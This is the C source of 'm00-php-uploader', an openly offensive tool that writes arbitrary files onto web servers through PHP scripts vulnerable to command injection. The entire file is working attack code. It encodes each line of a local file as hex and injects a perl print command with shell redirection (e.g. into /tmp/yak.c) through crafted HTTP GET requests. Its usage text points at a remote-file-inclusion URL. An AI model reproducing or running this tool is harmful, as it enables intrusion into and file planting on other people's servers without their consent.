m00-php-uploader.c

/*
 * m00-php-uploader.c
 *
 * Tool for uploading files on server through PHP scripts which
 * are vulnerable to PHP source code injection bug.
 * Fuck to wget, lynx, curl, GET, ftp and such shit ;D
 *
 * For internal usage only.
 *
 * m00.0x333.org
 *
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define HTTP_PORT    80
#define HTTP_REQ_SIZE 8000
#define URL_SIZE 200
#define USER_AGENT "dsadsadsa"
#define COUNT_LINES "cat %s|wc -l"


int connect_to_host(char *ip, unsigned short port) {

	int sockfd;

	struct hostent *hs;
	struct sockaddr_in sock;

	bzero(&sock, sizeof(sock));
	sock.sin_family = AF_INET;
	sock.sin_port   = htons(port);

	if ((sock.sin_addr.s_addr = inet_addr(ip)) == -1) {
		if ((hs = gethostbyname(ip)) == NULL)
			return -1;

		sock.sin_family = hs->h_addrtype;
		memcpy((caddr_t)&sock.sin_addr.s_addr, hs->h_addr, hs->h_length);
	}

	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
		return -1;

	if(connect(sockfd, (struct sockaddr *)&sock, sizeof(sock)) < 0)
		return -1;

	return sockfd;
}

int usage(char *prog) {
	int i;
	printf(" - Usage: %s -h <host> -u <url> -f <lfile> -r <rfile> [-p <port>]\n\n",prog);
	printf(" Where:\n");
	printf("\t<url> - url followed before cmdz (i.e. \"/index.php?page=host.com/a.php&cmd=\")\n");
	printf("\t<lfile> - local file to upload (plain-text only with printable chars)\n");
	printf("\t<rfile> - remote file write to (i.e. \"/tmp/yak.c\")\n");
	printf("\n");
	exit(1);
}


int main(int argc, char *argv[]) {

	int port = HTTP_PORT;
	int sock;

	int opt;
	int i, j, k = 0, z = 1, fst = 1, lines;

	char *host=NULL;
	char *wcoutput=NULL;
	char request[HTTP_REQ_SIZE];
	char url[400];
	char lfile[255];
	char rfile[255];
	char buff[800];
	char line[3204];
	char _char[5];
	char shitz[] = "-\\|/";
	
	FILE *upl;


	if(argc < 8) usage(argv[0]);

	while((opt = getopt(argc, argv, "h:u:f:p:r:"))!= EOF) {
		switch(opt) {
			case 'h':
				host = optarg;
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'r':
				strncpy(rfile,optarg,sizeof(rfile));
				break;
			case 'f':
				strncpy(lfile,optarg,sizeof(lfile));
				break;
			case 'u':
				strncpy(url,optarg,sizeof(url));
				break;
			default :
				usage(argv[0]);
		}
	}
	
	
	/* count lines of local file */
	snprintf(buff,sizeof(buff),COUNT_LINES,lfile);
	if(!(upl = popen(buff, "r"))) {
		perror(" popen(): ");
		exit(0);
	}
	if(getline(&wcoutput,&k,upl)<0) {
		perror(" getline(): ");
		exit(0);
	}
	sscanf(wcoutput,"%d",&lines);
	pclose(upl); 
	/* DONE */
	
	
	if(!(upl=fopen(lfile,"r"))) {
		perror(" fopen(): ");
		exit(0);
	}

	printf("\r [%c] Uploading ... 0 of %d lines",shitz[z],lines);
	fflush(stdout);

	for(i=0;i<lines;i++) {
	
		memset(buff,'\x00',sizeof(buff));
		memset(request,'\x00',HTTP_REQ_SIZE);
		memset(line,'\x00',sizeof(line));
		
		if(z==4) z=0;
		printf("\r [%c] Uploading ... %d of %d lines",shitz[z++],i+1,lines);
		fflush(stdout);
		
		
		fgets(buff, sizeof(buff), upl);
	
		if(buff[0] == '\x0a' || buff[0]=='\x00')
			continue;
		
		
		for(j=0;j<strlen(buff);j++) {
			sprintf(_char,"\\x%x",buff[j]);
			strcat(line,_char);
		}
		
		snprintf(request,HTTP_REQ_SIZE,
			"GET %s" "perl%20-e%20'print%20\"%s\"'%s%s HTTP/1.1\r\n"
			"Host: %s:%d\r\n"
			"User-Agent: %s\r\n"
			"Accept: */*\r\n\r\n", url, line, fst ? ">" : ">>", rfile, host, port, USER_AGENT);

		fst = 0;
			
		
		
		if((sock = connect_to_host(host, port))==-1) {
			printf(" Error in connecting to host\n");
			exit(1);
		}

		if(send(sock, request, strlen(request), 0) < 0) {
			printf(" Error in sending buffer\n");
			exit(1);
		}

		close(sock);
	}
	fclose(upl);
	printf("\ndone\n");
}

/* EOF */